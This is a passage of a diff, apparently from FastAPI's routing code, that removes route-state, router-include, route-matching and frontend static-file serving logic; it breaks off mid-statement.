DefaultPlaceholder - ) - if isinstance(response_model, DefaultPlaceholder): - return_annotation = get_typed_return_annotation(endpoint) - if lenient_issubclass(return_annotation, Response): - response_model = None - else: - stream_item = get_stream_item_type(return_annotation) - if stream_item is not None and is_generator: - # Extract item type for JSONL or SSE streaming for - # generator endpoints when response_class is - # DefaultPlaceholder (JSONL) or EventSourceResponse (SSE). - # ServerSentEvent is excluded: it's a transport - # wrapper, not a data model, so it shouldn't feed - # into validation or OpenAPI schema generation. - if ( - isinstance(response_class, DefaultPlaceholder) - or lenient_issubclass(response_class, EventSourceResponse) - ) and not lenient_issubclass(stream_item, ServerSentEvent): - route.stream_item_type = stream_item - response_model = None - else: - response_model = return_annotation - route.response_model = response_model - if route.response_model: - assert is_body_allowed_for_status_code(status_code), ( - f"Status code {status_code} must not have a response body" - ) - response_name = "Response_" + route.unique_id - route.response_field = create_model_field( - name=response_name, - type_=route.response_model, - mode="serialization", - ) - else: - route.response_field = None - if route.stream_item_type: - stream_item_name = "StreamItem_" + route.unique_id - route.stream_item_field = create_model_field( - name=stream_item_name, - type_=route.stream_item_type, - mode="serialization", - ) - else: - route.stream_item_field = None - - -class APIRoute(routing.Route): - stream_item_type: Any | None - response_model: Any - summary: str | None - response_description: str - deprecated: bool | None - operation_id: str | None - response_model_include: IncEx | None - response_model_exclude: IncEx | None - response_model_by_alias: bool - response_model_exclude_unset: bool - response_model_exclude_defaults: bool - response_model_exclude_none: bool - include_in_schema: bool - response_class: type[Response] | DefaultPlaceholder - dependency_overrides_provider: Any | None - callbacks: list[BaseRoute] | None - openapi_extra: dict[str, Any] | None - generate_unique_id_function: Callable[[Any], str] | DefaultPlaceholder - strict_content_type: bool | DefaultPlaceholder - tags: list[str | Enum] - responses: dict[int | str, dict[str, Any]] - unique_id: str - status_code: int | None - response_field: ModelField | None - stream_item_field: ModelField | None - dependencies: list[params.Depends] - description: str - response_fields: dict[int | str, ModelField] - dependant: Dependant - _embed_body_fields: bool - body_field: ModelField | None - is_sse_stream: bool - is_json_stream: bool - - def __init__( - self, - path: str, - endpoint: Callable[..., Any], - *, - response_model: Any = Default(None), - status_code: int | None = None, - tags: list[str | Enum] | None = None, - dependencies: Sequence[params.Depends] | None = None, - summary: str | None = None, - description: str | None = None, - response_description: str = "Successful Response", - responses: dict[int | str, dict[str, Any]] | None = None, - deprecated: bool | None = None, - name: str | None = None, - methods: set[str] | list[str] | None = None, - operation_id: str | None = None, - response_model_include: IncEx | None = None, - response_model_exclude: IncEx | None = None, - response_model_by_alias: bool = True, - response_model_exclude_unset: bool = False, - response_model_exclude_defaults: bool = False, - response_model_exclude_none: bool = False, - include_in_schema: bool = True, - response_class: type[Response] | DefaultPlaceholder = Default(JSONResponse), - dependency_overrides_provider: Any | None = None, - callbacks: list[BaseRoute] | None = None, - openapi_extra: dict[str, Any] | None = None, - generate_unique_id_function: Callable[["APIRoute"], str] - | DefaultPlaceholder = Default(generate_unique_id), - strict_content_type: bool | DefaultPlaceholder = Default(True), - ) -> None: - _populate_api_route_state( - cast(_APIRouteLike, self), - path, - endpoint, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - name=name, - methods=methods, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - dependency_overrides_provider=dependency_overrides_provider, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - strict_content_type=strict_content_type, - ) - self.app = request_response(self.get_route_handler()) - - def get_route_handler(self) -> Callable[[Request], Coroutine[Any, Any, Response]]: - route = cast(_APIRouteLike, self) - # TODO: Replace or deprecate this no-scope hook so included-route - # effective context can be passed explicitly instead of via ContextVar. - effective_context = _effective_route_context_var.get() - if effective_context is not None and effective_context.original_route is self: - route = cast(_APIRouteLike, effective_context) - return get_request_handler( - dependant=route.dependant, - body_field=route.body_field, - status_code=route.status_code, - response_class=route.response_class, - response_field=route.response_field, - response_model_include=route.response_model_include, - response_model_exclude=route.response_model_exclude, - response_model_by_alias=route.response_model_by_alias, - response_model_exclude_unset=route.response_model_exclude_unset, - response_model_exclude_defaults=route.response_model_exclude_defaults, - response_model_exclude_none=route.response_model_exclude_none, - dependency_overrides_provider=route.dependency_overrides_provider, - embed_body_fields=route._embed_body_fields, - strict_content_type=route.strict_content_type, - stream_item_field=route.stream_item_field, - is_json_stream=route.is_json_stream, - ) - - def matches(self, scope: Scope) -> tuple[Match, Scope]: - effective_context = _get_scope_effective_route_context(scope) - if effective_context is not None and effective_context.original_route is self: - match, child_scope = effective_context.matches(scope) - else: - match, child_scope = super().matches(scope) - if match != Match.NONE: - child_scope["route"] = self - return match, child_scope - - async def handle(self, scope: Scope, receive: Receive, send: Send) -> None: - effective_context = _get_scope_effective_route_context(scope) - if effective_context is not None and effective_context.original_route is self: - methods = effective_context.methods - if methods and scope["method"] not in methods: - headers = {"Allow": ", ".join(methods)} - if "app" in scope: - raise HTTPException(status_code=405, headers=headers) - response = PlainTextResponse( - "Method Not Allowed", status_code=405, headers=headers - ) - await response(scope, receive, send) - return - token = _effective_route_context_var.set(effective_context) - try: - app = request_response(self.get_route_handler()) - finally: - _effective_route_context_var.reset(token) - await app(scope, receive, send) - return - await super().handle(scope, receive, send) - - -@dataclass -class _RouterIncludeContext: - included_router: "APIRouter" - prefix: str = "" - tags: list[str | Enum] = field(default_factory=list) - dependencies: list[params.Depends] = field(default_factory=list) - default_response_class: type[Response] | DefaultPlaceholder = field( - default_factory=lambda: Default(JSONResponse) - ) - responses: dict[int | str, dict[str, Any]] = field(default_factory=dict) - callbacks: list[BaseRoute] = field(default_factory=list) - deprecated: bool | None = None - include_in_schema: bool = True - generate_unique_id_function: Callable[[APIRoute], str] | DefaultPlaceholder = field( - default_factory=lambda: Default(generate_unique_id) - ) - strict_content_type: bool | DefaultPlaceholder = field( - default_factory=lambda: Default(True) - ) - dependency_overrides_provider: Any | None = None - - @classmethod - def for_include( - cls, - *, - parent_router: "APIRouter", - included_router: "APIRouter", - prefix: str = "", - tags: list[str | Enum] | None = None, - dependencies: Sequence[params.Depends] | None = None, - default_response_class: type[Response] | DefaultPlaceholder = Default( - JSONResponse - ), - responses: dict[int | str, dict[str, Any]] | None = None, - callbacks: list[BaseRoute] | None = None, - deprecated: bool | None = None, - include_in_schema: bool = True, - generate_unique_id_function: Callable[[APIRoute], str] - | DefaultPlaceholder = Default(generate_unique_id), - ) -> "_RouterIncludeContext": - return cls( - included_router=included_router, - prefix=parent_router.prefix + prefix, - tags=[*parent_router.tags, *(tags or [])], - dependencies=[*parent_router.dependencies, *(dependencies or [])], - default_response_class=get_value_or_default( - default_response_class, parent_router.default_response_class - ), - responses={**parent_router.responses, **(responses or {})}, - callbacks=[*parent_router.callbacks, *(callbacks or [])], - deprecated=deprecated or parent_router.deprecated, - include_in_schema=parent_router.include_in_schema and include_in_schema, - generate_unique_id_function=get_value_or_default( - generate_unique_id_function, parent_router.generate_unique_id_function - ), - strict_content_type=parent_router.strict_content_type, - dependency_overrides_provider=parent_router.dependency_overrides_provider, - ) - - def combine( - self, child_context: "_RouterIncludeContext" - ) -> "_RouterIncludeContext": - return _RouterIncludeContext( - included_router=child_context.included_router, - prefix=self.prefix + child_context.prefix, - tags=[*self.tags, *child_context.tags], - dependencies=[*self.dependencies, *child_context.dependencies], - default_response_class=get_value_or_default( - child_context.default_response_class, self.default_response_class - ), - responses={**self.responses, **child_context.responses}, - callbacks=[*self.callbacks, *child_context.callbacks], - deprecated=self.deprecated or child_context.deprecated, - include_in_schema=self.include_in_schema - and child_context.include_in_schema, - generate_unique_id_function=get_value_or_default( - child_context.generate_unique_id_function, - self.generate_unique_id_function, - ), - strict_content_type=get_value_or_default( - child_context.strict_content_type, self.strict_content_type - ), - dependency_overrides_provider=self.dependency_overrides_provider, - ) - - def path_for(self, route: _RouteWithPath) -> str: - return self.prefix + route.path - - -@dataclass -class _EffectiveRouteContext: - original_route: BaseRoute - starlette_route: BaseRoute | None = None - frontend_prefix: str = "" - path: str = "" - endpoint: Callable[..., Any] | None = None - stream_item_type: Any | None = None - response_model: Any = None - summary: str | None = None - response_description: str = "Successful Response" - deprecated: bool | None = None - operation_id: str | None = None - response_model_include: IncEx | None = None - response_model_exclude: IncEx | None = None - response_model_by_alias: bool = True - response_model_exclude_unset: bool = False - response_model_exclude_defaults: bool = False - response_model_exclude_none: bool = False - include_in_schema: bool = True - response_class: type[Response] | DefaultPlaceholder = field( - default_factory=lambda: Default(JSONResponse) - ) - dependency_overrides_provider: Any | None = None - callbacks: list[BaseRoute] | None = None - openapi_extra: dict[str, Any] | None = None - generate_unique_id_function: Callable[[Any], str] | DefaultPlaceholder = field( - default_factory=lambda: Default(generate_unique_id) - ) - strict_content_type: bool | DefaultPlaceholder = field( - default_factory=lambda: Default(True) - ) - tags: list[str | Enum] = field(default_factory=list) - responses: dict[int | str, dict[str, Any]] = field(default_factory=dict) - name: str = "" - path_regex: Any = None - path_format: str = "" - param_convertors: dict[str, Any] = field(default_factory=dict) - methods: set[str] = field(default_factory=set) - unique_id: str = "" - status_code: int | None = None - response_field: ModelField | None = None - stream_item_field: ModelField | None = None - dependencies: list[params.Depends] = field(default_factory=list) - description: str = "" - response_fields: dict[int | str, ModelField] = field(default_factory=dict) - dependant: Dependant | None = None - _embed_body_fields: bool = False - body_field: ModelField | None = None - is_sse_stream: bool = False - is_json_stream: bool = False - - @classmethod - def from_api_route( - cls, - *, - original_route: APIRoute, - include_context: _RouterIncludeContext, - ) -> "_EffectiveRouteContext": - route = cast(_APIRouteLike, original_route) - context = cls(original_route=original_route) - _populate_api_route_state( - cast(_APIRouteLike, context), - include_context.path_for(original_route), - route.endpoint, - response_model=route.response_model, - status_code=route.status_code, - tags=[*include_context.tags, *route.tags], - dependencies=[*include_context.dependencies, *route.dependencies], - summary=route.summary, - description=route.description, - response_description=route.response_description, - responses={**include_context.responses, **route.responses}, - deprecated=route.deprecated or include_context.deprecated, - methods=route.methods, - operation_id=route.operation_id, - response_model_include=route.response_model_include, - response_model_exclude=route.response_model_exclude, - response_model_by_alias=route.response_model_by_alias, - response_model_exclude_unset=route.response_model_exclude_unset, - response_model_exclude_defaults=route.response_model_exclude_defaults, - response_model_exclude_none=route.response_model_exclude_none, - include_in_schema=route.include_in_schema - and include_context.include_in_schema, - response_class=get_value_or_default( - route.response_class, - include_context.included_router.default_response_class, - include_context.default_response_class, - ), - name=route.name, - dependency_overrides_provider=include_context.dependency_overrides_provider, - callbacks=[*include_context.callbacks, *(route.callbacks or [])], - openapi_extra=route.openapi_extra, - generate_unique_id_function=get_value_or_default( - route.generate_unique_id_function, - include_context.included_router.generate_unique_id_function, - include_context.generate_unique_id_function, - ), - strict_content_type=get_value_or_default( - route.strict_content_type, - include_context.included_router.strict_content_type, - include_context.strict_content_type, - ), - stream_item_type=route.stream_item_type, - ) - return context - - @classmethod - def from_frontend_route_group( - cls, - *, - original_route: "_FrontendRouteGroup", - include_context: _RouterIncludeContext, - ) -> "_EffectiveRouteContext": - dependencies = [*include_context.dependencies, *original_route.dependencies] - context = cls( - original_route=original_route, - frontend_prefix=include_context.prefix, - dependencies=dependencies, - dependency_overrides_provider=include_context.dependency_overrides_provider, - ) - ( - context.dependant, - _, - context._embed_body_fields, - ) = _build_dependant_with_parameterless_dependencies( - path="", - call=_frontend_dependency_endpoint, - dependencies=dependencies, - ) - return context - - def matches(self, scope: Scope) -> tuple[Match, Scope]: - if isinstance(self.original_route, _FrontendRouteGroup): - return self.original_route.matches_with_prefix(scope, self.frontend_prefix) - if not isinstance(self.original_route, APIRoute): - assert self.starlette_route is not None - return self.starlette_route.matches(scope) - if scope["type"] != "http": - return Match.NONE, {} - route_path = get_route_path(scope) - match = self.path_regex.match(route_path) - if not match: - return Match.NONE, {} - matched_params = match.groupdict() - for key, value in matched_params.items(): - matched_params[key] = self.param_convertors[key].convert(value) - path_params = dict(scope.get("path_params", {})) - path_params.update(matched_params) - child_scope = {"endpoint": self.endpoint, "path_params": path_params} - methods = self.methods - if methods and scope["method"] not in methods: - return Match.PARTIAL, child_scope - return Match.FULL, child_scope - - def url_path_for(self, name: str, /, **path_params: Any) -> Any: - if not isinstance(self.original_route, APIRoute): - assert self.starlette_route is not None - return self.starlette_route.url_path_for(name, **path_params) - seen_params = set(path_params.keys()) - param_convertors = self.param_convertors - expected_params = set(param_convertors.keys()) - if name != self.name or seen_params != expected_params: - raise routing.NoMatchFound(name, path_params) - path, remaining_params = routing.replace_params( - self.path_format, param_convertors, path_params - ) - assert not remaining_params - return URLPath(path=path, protocol="http") - - -@dataclass(frozen=True) -class RouteContext: - route: BaseRoute - _route_context: _EffectiveRouteContext | None = field(default=None, repr=False) - - @property - def original_route(self) -> BaseRoute: - if self._route_context is not None: - return self._route_context.original_route - return self.route - - @property - def _effective_route(self) -> BaseRoute | _EffectiveRouteContext: - if self._route_context is not None: - return self._route_context - return self.route - - @property - def path(self) -> str | None: - return getattr(self._effective_route, "path", None) - - @property - def path_format(self) -> str | None: - return getattr(self._effective_route, "path_format", None) - - @property - def name(self) -> str | None: - return getattr(self._effective_route, "name", None) - - @property - def methods(self) -> set[str] | None: - return getattr(self._effective_route, "methods", None) - - @property - def endpoint(self) -> Callable[..., Any] | None: - return getattr(self._effective_route, "endpoint", None) - - def __getattr__(self, name: str) -> Any: - return getattr(self._effective_route, name) - - -@dataclass -class _IncludedRouter(BaseRoute): - original_router: "APIRouter" - include_context: _RouterIncludeContext - _effective_routes_lock: Any = field( - default_factory=threading.Lock, repr=False, compare=False - ) - _effective_candidates: list["_EffectiveRouteContext | _IncludedRouter"] = field( - default_factory=list - ) - _effective_candidates_version: int | None = None - _effective_low_priority_routes: list["_EffectiveRouteContext"] = field( - default_factory=list - ) - _effective_low_priority_routes_version: int | None = None - - def effective_candidates(self) -> list["_EffectiveRouteContext | _IncludedRouter"]: - routes_version = self.original_router._get_routes_version() - if routes_version == self._effective_candidates_version: - return self._effective_candidates - with self._effective_routes_lock: - routes_version = self.original_router._get_routes_version() - if routes_version == self._effective_candidates_version: - return self._effective_candidates - effective_candidates: list[_EffectiveRouteContext | _IncludedRouter] = [] - for route in self.original_router.routes: - if isinstance(route, _IncludedRouter): - child_context = self.include_context.combine(route.include_context) - child_branch = _IncludedRouter( - original_router=route.original_router, - include_context=child_context, - ) - effective_candidates.append(child_branch) - continue - route_context = self._build_effective_context(route) - if route_context is not None: - effective_candidates.append(route_context) - self._effective_candidates = effective_candidates - self._effective_candidates_version = routes_version - return effective_candidates - - def effective_low_priority_routes(self) -> list["_EffectiveRouteContext"]: - routes_version = self.original_router._get_routes_version() - if routes_version == self._effective_low_priority_routes_version: - return self._effective_low_priority_routes - with self._effective_routes_lock: - routes_version = self.original_router._get_routes_version() - if routes_version == self._effective_low_priority_routes_version: - return self._effective_low_priority_routes - effective_low_priority_routes: list[_EffectiveRouteContext] = [] - for route in self.original_router._low_priority_routes: - route_context = self._build_effective_context(route) - if route_context is not None: - effective_low_priority_routes.append(route_context) - for route in self.original_router.routes: - if isinstance(route, _IncludedRouter): - child_context = self.include_context.combine(route.include_context) - child_branch = _IncludedRouter( - original_router=route.original_router, - include_context=child_context, - ) - effective_low_priority_routes.extend( - child_branch.effective_low_priority_routes() - ) - self._effective_low_priority_routes = effective_low_priority_routes - self._effective_low_priority_routes_version = routes_version - return effective_low_priority_routes - - def _build_effective_context( - self, route: BaseRoute - ) -> _EffectiveRouteContext | None: - if isinstance(route, APIRoute): - return _EffectiveRouteContext.from_api_route( - original_route=route, - include_context=self.include_context, - ) - if isinstance(route, _FrontendRouteGroup): - return _EffectiveRouteContext.from_frontend_route_group( - original_route=route, - include_context=self.include_context, - ) - if isinstance(route, routing.Route): - starlette_route: BaseRoute = routing.Route( - self.include_context.path_for(route), - endpoint=route.endpoint, - methods=list(route.methods or []), - name=route.name, - include_in_schema=route.include_in_schema, - ) - return _EffectiveRouteContext( - original_route=route, - starlette_route=starlette_route, - ) - if isinstance(route, APIWebSocketRoute): - starlette_route = APIWebSocketRoute( - self.include_context.path_for(route), - endpoint=route.endpoint, - name=route.name, - dependencies=[*self.include_context.dependencies, *route.dependencies], - dependency_overrides_provider=( - self.include_context.dependency_overrides_provider - ), - ) - return _EffectiveRouteContext( - original_route=route, - starlette_route=starlette_route, - ) - if isinstance(route, routing.WebSocketRoute): - starlette_route = routing.WebSocketRoute( - self.include_context.path_for(route), route.endpoint, name=route.name - ) - return _EffectiveRouteContext( - original_route=route, - starlette_route=starlette_route, - ) - if isinstance(route, routing.Mount): - starlette_route = copy.copy(route) - starlette_route.path = self.include_context.path_for(route).rstrip("/") - ( - starlette_route.path_regex, - starlette_route.path_format, - starlette_route.param_convertors, - ) = compile_path(starlette_route.path + "/{path:path}") - return _EffectiveRouteContext( - original_route=route, - starlette_route=starlette_route, - ) - if isinstance(route, routing.Host): - if self.include_context.prefix: - prefixed_app: ASGIApp = routing.Router( - routes=[routing.Mount(self.include_context.prefix, app=route.app)] - ) - else: - prefixed_app = route.app - starlette_route = routing.Host( - route.host, app=prefixed_app, name=route.name - ) - return _EffectiveRouteContext( - original_route=route, - starlette_route=starlette_route, - ) - return None - - def _match( - self, scope: Scope - ) -> tuple[Match, Scope, BaseRoute | None, _EffectiveRouteContext | None]: - partial: tuple[Scope, BaseRoute, _EffectiveRouteContext | None] | None = None - for candidate in self.effective_candidates(): - if isinstance(candidate, _IncludedRouter): - match, child_scope = candidate.matches(scope) - route: BaseRoute = candidate - route_context = None - elif isinstance(candidate.original_route, APIRoute): - route_context = candidate - fastapi_scope = _get_fastapi_scope(scope) - previous_context = fastapi_scope.get( - _FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY, _SCOPE_MISSING - ) - fastapi_scope[_FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY] = route_context - try: - match, child_scope = candidate.original_route.matches(scope) - finally: - _restore_fastapi_scope_key( - scope, _FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY, previous_context - ) - route = candidate.original_route - else: - route_context = candidate - match, child_scope = candidate.matches(scope) - route = candidate.starlette_route or candidate.original_route - if match == Match.FULL: - return match, child_scope, route, route_context - if match == Match.PARTIAL and partial is None: - partial = (child_scope, route, route_context) - if partial is not None: - child_scope, route, route_context = partial - return Match.PARTIAL, child_scope, route, route_context - return Match.NONE, {}, None, None - - def matches(self, scope: Scope) -> tuple[Match, Scope]: - fastapi_scope = _get_fastapi_scope(scope) - previous_router = fastapi_scope.get( - _FASTAPI_INCLUDED_ROUTER_KEY, _SCOPE_MISSING - ) - fastapi_scope[_FASTAPI_INCLUDED_ROUTER_KEY] = self - try: - match, _ = self.original_router.matches(scope) - return match, {} - finally: - _restore_fastapi_scope_key( - scope, _FASTAPI_INCLUDED_ROUTER_KEY, previous_router - ) - - async def handle(self, scope: Scope, receive: Receive, send: Send) -> None: - _get_fastapi_scope(scope)[_FASTAPI_INCLUDED_ROUTER_KEY] = self - await self.original_router.handle(scope, receive, send) - - async def _handle_selected( - self, scope: Scope, receive: Receive, send: Send - ) -> None: - match, child_scope, route, effective_context = self._match(scope) - if match == Match.NONE or route is None: - await self.original_router.default(scope, receive, send) - return - scope.update(child_scope) - if isinstance(route, _IncludedRouter): - await route.handle(scope, receive, send) - return - if effective_context is not None: - _get_fastapi_scope(scope)[_FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY] = ( - effective_context - ) - original_route = effective_context.original_route - if isinstance(original_route, APIRoute): - scope["route"] = original_route - await original_route.handle(scope, receive, send) - return - await route.handle(scope, receive, send) - - def effective_route_contexts(self) -> Iterator[_EffectiveRouteContext]: - for candidate in self.effective_candidates(): - if isinstance(candidate, _IncludedRouter): - yield from candidate.effective_route_contexts() - else: - yield candidate - - def url_path_for(self, name: str, /, **path_params: Any) -> Any: - for route_context in self.effective_route_contexts(): - try: - return route_context.url_path_for(name, **path_params) - except routing.NoMatchFound: - pass - raise routing.NoMatchFound(name, path_params) - - -def _iter_included_route_candidates(routes: Sequence[BaseRoute]) -> Iterator[BaseRoute]: - for route, route_context in _iter_routes_with_context(routes): - if route_context is not None and route_context.starlette_route is not None: - yield route_context.starlette_route - else: - yield route - - -def iter_route_contexts( - routes: Sequence[BaseRoute | RouteContext], -) -> Iterator[RouteContext]: - for route in routes: - if isinstance(route, RouteContext): - yield route - continue - for original_route, route_context in _iter_routes_with_context([route]): - if route_context is None: - yield RouteContext(original_route) - else: - yield RouteContext(original_route, route_context) - - -def _iter_routes_with_context( - routes: Sequence[BaseRoute], -) -> Iterator[tuple[BaseRoute, _EffectiveRouteContext | None]]: - for route in routes: - if isinstance(route, _IncludedRouter): - for route_context in route.effective_route_contexts(): - yield route_context.original_route, route_context - else: - yield route, None - - -def _normalize_frontend_path(path: str) -> str: - if not path: - raise AssertionError("A frontend path cannot be empty") - if not path.startswith("/"): - raise AssertionError("A frontend path must start with '/'") - if path != "/": - path = path.rstrip("/") - return path - - -def _join_frontend_paths(prefix: str, path: str) -> str: - if not prefix: - return path - if path == "/": - return prefix - return prefix + path - - -def _frontend_path_specificity(path: str) -> int: - if path == "/": - return 0 - return len(path) - - -def _get_resolved_absolute_path(path: str | os.PathLike[str]) -> str: - return os.path.realpath(os.fspath(path)) - - -def _resolve_frontend_check_dir( - *, - directory: str | os.PathLike[str], - check_dir: bool | Literal["auto"], -) -> bool: - if check_dir != "auto": - return check_dir - if os.environ.get("FASTAPI_ENV") != "development": - return True - if not os.path.isdir(directory): - warnings.warn( - f"Frontend directory '{directory}' does not exist. " - f"Resolved absolute path: '{_get_resolved_absolute_path(directory)}'", - stacklevel=3, - ) - return False - - -class _FrontendStaticFiles(StaticFiles): - def __init__( - self, - *, - directory: str | os.PathLike[str], - fallback: Literal["auto", "index.html", "404.html"] | None, - check_dir: bool, - ) -> None: - self.fallback = fallback - if check_dir and not os.path.isdir(directory): - raise RuntimeError( - f"Frontend directory '{directory}' does not exist. " - f"Resolved absolute path: '{_get_resolved_absolute_path(directory)}'" - ) - super().__init__( - directory=directory, - html=True, - check_dir=check_dir, - follow_symlink=False, - ) - if check_dir and fallback in {"index.html", "404.html"}: - self._check_fallback_file(fallback) - - def _check_fallback_file(self, fallback: str) -> None: - _, stat_result = self.lookup_path(fallback) - if stat_result is None or not stat.S_ISREG(stat_result.st_mode): - raise RuntimeError( - f"Frontend fallback file '{fallback}' does not exist in " - f"directory '{self.directory}'. Resolved absolute directory: " - f"'{self._get_resolved_directory()}'" - ) - - def _get_resolved_directory(self) -> str: - assert self.directory is not None - return _get_resolved_absolute_path(self.directory) - - def get_path(self, scope: Scope) -> str: - path = _get_fastapi_scope(scope).get(_FASTAPI_FRONTEND_PATH_KEY, "") - assert isinstance(path, str) - return os.path.normpath(os.path.join(*path.split("/"))) - - async def get_response_for_scope(self, scope: Scope) -> Response: - if not self.config_checked: - await self.check_config() - self.config_checked = True - return await self.get_response(self.get_path(scope), scope) - - async def get_response(self, path: str, scope: Scope) -> Response: - if scope["method"] not in ("GET", "HEAD"): - if await self._lookup_static_resource(path) is not None: - raise HTTPException(status_code=405) - raise HTTPException(status_code=404) - - static_resource = await self._lookup_static_resource(path) - if static_resource is not None: - full_path, stat_result, is_directory_index = static_resource - if is_directory_index and not scope["path"].endswith("/"): - url = URL(scope=scope) - url = url.replace(path=url.path + "/") - return RedirectResponse(url=url) - return self.file_response(full_path, stat_result, scope) - - if self.fallback == "404.html" or ( - self.fallback == "auto" and self._fallback_file_exists("404.html") - ): - return await self._fallback_response("404.html", scope, status_code=404) - - if ( - self.fallback == "index.html" - or (self.fallback == "auto" and self._fallback_file_exists("index.html")) - ) and _is_frontend_navigation_request(scope): - return await self._fallback_response("index.html", scope, status_code=200) - - raise HTTPException(status_code=404) - - async def _lookup_path(self, path: str) -> tuple[str, os.stat_result | None]: - try: - return await run_in_threadpool(self.lookup_path, path) - except PermissionError: - raise HTTPException(status_code=401) from None - except OSError as exc: - if exc.errno == errno.ENAMETOOLONG: - raise HTTPException(status_code=404) from None - raise exc - except ValueError: - raise HTTPException(status_code=404) from None - - async def _lookup_static_resource( - self, path: str - ) -> tuple[str, os.stat_result, bool] | None: - full_path, stat_result = await self._lookup_path(path) - if stat_result is None: - return None - if stat.S_ISREG(stat_result.st_mode): - return full_path, stat_result, False - if stat.S_ISDIR(stat_result.st_mode): - index_path = os.path.join(path, "index.html") - full_path, stat_result = await self._lookup_path(index_path) - if stat_result is not None and stat.S_ISREG(stat_result.st_mode): - return full_path, stat_result, True - return None - - def _fallback_file_exists(self, fallback: str) -> bool: - _, stat_result = self.lookup_path(fallback) - return stat_result is not None and stat.S_ISREG(stat_result.st_mode) - - async def _fallback_response( - self, fallback: str, scope: Scope, *, status_code: int - ) -> Response: - full_path, stat_result = await run_in_threadpool(self.lookup_path, fallback) - if stat_result is None or not stat.S_ISREG(stat_result.st_mode): - raise RuntimeError( - f"Frontend fallback file '{fallback}' does not exist in " - f"directory '{self.directory}'. Resolved absolute directory: " - f"'{self._get_resolved_directory()}'" - ) - return self.file_response( - full_path, stat_result, scope, status_code=status_code - ) - - -def _iter_accept_media_types(accept: str) -> Iterator[tuple[str, float]]: - for raw_value in accept.split(","): - message = email.message.Message() - message["content-type"] = raw_value.strip() - q = message.get_param("q") - quality = 1.0 - if isinstance(q, str): - try: - quality = float(q) - except ValueError: - pass - yield ( - f"{message.get_content_maintype()}/{message.get_content_subtype()}", - quality, - ) - - -def _is_frontend_navigation_request(scope: Scope) -> bool: - request = Request(scope) - for media_type, quality in _iter_accept_media_types( - request.headers.get("accept", "") - ): - if media_type in {"text/html", "application/xhtml+xml"} and quality != 0: - return True - return False - - -class _FrontendRoute(BaseRoute): - def __init__( - self, - path: str, - *, - directory: str | os.PathLike[str], - fallback: Literal["auto", "index.html", "404.html"] | None = "auto", - check_dir: bool, - ) -> None: - if fallback not in {"auto", "index.html", "404.html", None}: - raise AssertionError( - "fallback must be 'auto', 'index.html', '404.html', or None" - ) - self.path = _normalize_frontend_path(path) - self.methods = {"GET", "HEAD"} - self.app = _FrontendStaticFiles( - directory=directory, fallback=fallback, check_dir=check_dir - ) - - def matches(self, scope: Scope) -> tuple[Match, Scope]: - return self.matches_with_path(scope, self.path) - - def matches_with_path(self, scope: Scope, path: str) -> tuple[Match, Scope]: - if scope["type"] != "http": - return Match.NONE, {} - frontend_path = self._get_frontend_path(path, get_route_path(scope)) - if frontend_path is None: - return Match.NONE, {} - child_scope = { - _FASTAPI_SCOPE_KEY: { - _FASTAPI_FRONTEND_PATH_KEY: frontend_path, - _FASTAPI_FRONTEND_SPECIFICITY_KEY: _frontend_path_specificity(path), - } - } - if scope["method"] not in self.methods: - return Match.PARTIAL, child_scope - return Match.FULL, child_scope - - def _get_frontend_path(self, path: str, route_path: str) -> str | None: - if path == "/": - return route_path.lstrip("/") - if route_path == path: - return "" - prefix = path + "/" - if route_path.startswith(prefix): - return route_path[len(prefix) :] - return None - - async def handle(self, scope: Scope, receive: Receive, send: Send) -> None: - response = await self.app.get_response_for_scope(scope) - await response(scope, receive, send) - - def url_path_for(self, name: str, /, **path_params: Any) -> URLPath: - raise NoMatchFound(name, path_params) - - -class _FrontendRouteGroup(BaseRoute): - def __init__( - self, - *, - dependencies: Sequence[params.Depends] | None = None, - dependency_overrides_provider: Any | None = None, - ) -> None: - self.routes: list[_FrontendRoute] = [] - self.dependencies = list(dependencies or []) - self.dependency_overrides_provider = dependency_overrides_provider - ( - self.dependant, - _, - self._embed_body_fields, - ) = _build_dependant_with_parameterless_dependencies( - path="", - call=_frontend_dependency_endpoint, - dependencies=self.dependencies, - ) - - def add_frontend_route( - self, - path: str, - *, - directory: str | os.PathLike[str], - fallback: Literal["auto", "index.html", "404.html"] | None = "auto", - check_dir: bool, - ) -> None: - self.routes.append( - _FrontendRoute( - path, - directory=directory, - fallback=fallback, - check_dir=check_dir, - ) - ) - - def matches(self, scope: Scope) -> tuple[Match, Scope]: - match, child_scope, _ = self._match(scope, prefix="") - return match, child_scope - - def matches_with_prefix(self, scope: Scope, prefix: str) -> tuple[Match, Scope]: - match, child_scope, _ = self._match(scope, prefix=prefix) - return match, child_scope - - def _match( - self, scope: Scope, *, prefix: str - ) -> tuple[Match, Scope, _FrontendRoute | None]: - full: tuple[Scope, _FrontendRoute, int] | None = None - partial: tuple[Scope, _FrontendRoute, int] | None = None - for route in self.routes: - path = _join_frontend_paths(prefix, route.path) - match, child_scope = route.matches_with_path(scope, path) - specificity = _frontend_path_specificity(path) - if match == Match.FULL: - if full is None or specificity > full[2]: - full = (child_scope, route, specificity) - elif match == Match.PARTIAL: - if partial is None or specificity > partial[2]: - partial = (child_scope, route, specificity) - if full is not None: - child_scope, route, _ = full - return Match.FULL, child_scope, route - if partial is not None: - child_scope, route, _ = partial - return Match.PARTIAL, child_scope, route - return Match.NONE, {}, None - - async def handle(self, scope: Scope, receive: Receive, send: Send) -> None: - effective_context = _get_scope_effective_route_context(scope) - if ( - isinstance(effective_context, _EffectiveRouteContext) - and effective_context.original_route is self - ): - prefix = effective_context.frontend_prefix - dependant = effective_context.dependant - dependency_overrides_provider = ( - effective_context.dependency_overrides_provider - ) - embed_body_fields = effective_context._embed_body_fields - else: - prefix = "" - dependant = self.dependant - dependency_overrides_provider = self.dependency_overrides_provider - embed_body_fields = self._embed_body_fields - match, child_scope, route = self._match(scope, prefix=prefix) - if match == Match.NONE or route is None: - raise HTTPException(status_code=404) - _update_scope(scope, child_scope) - if 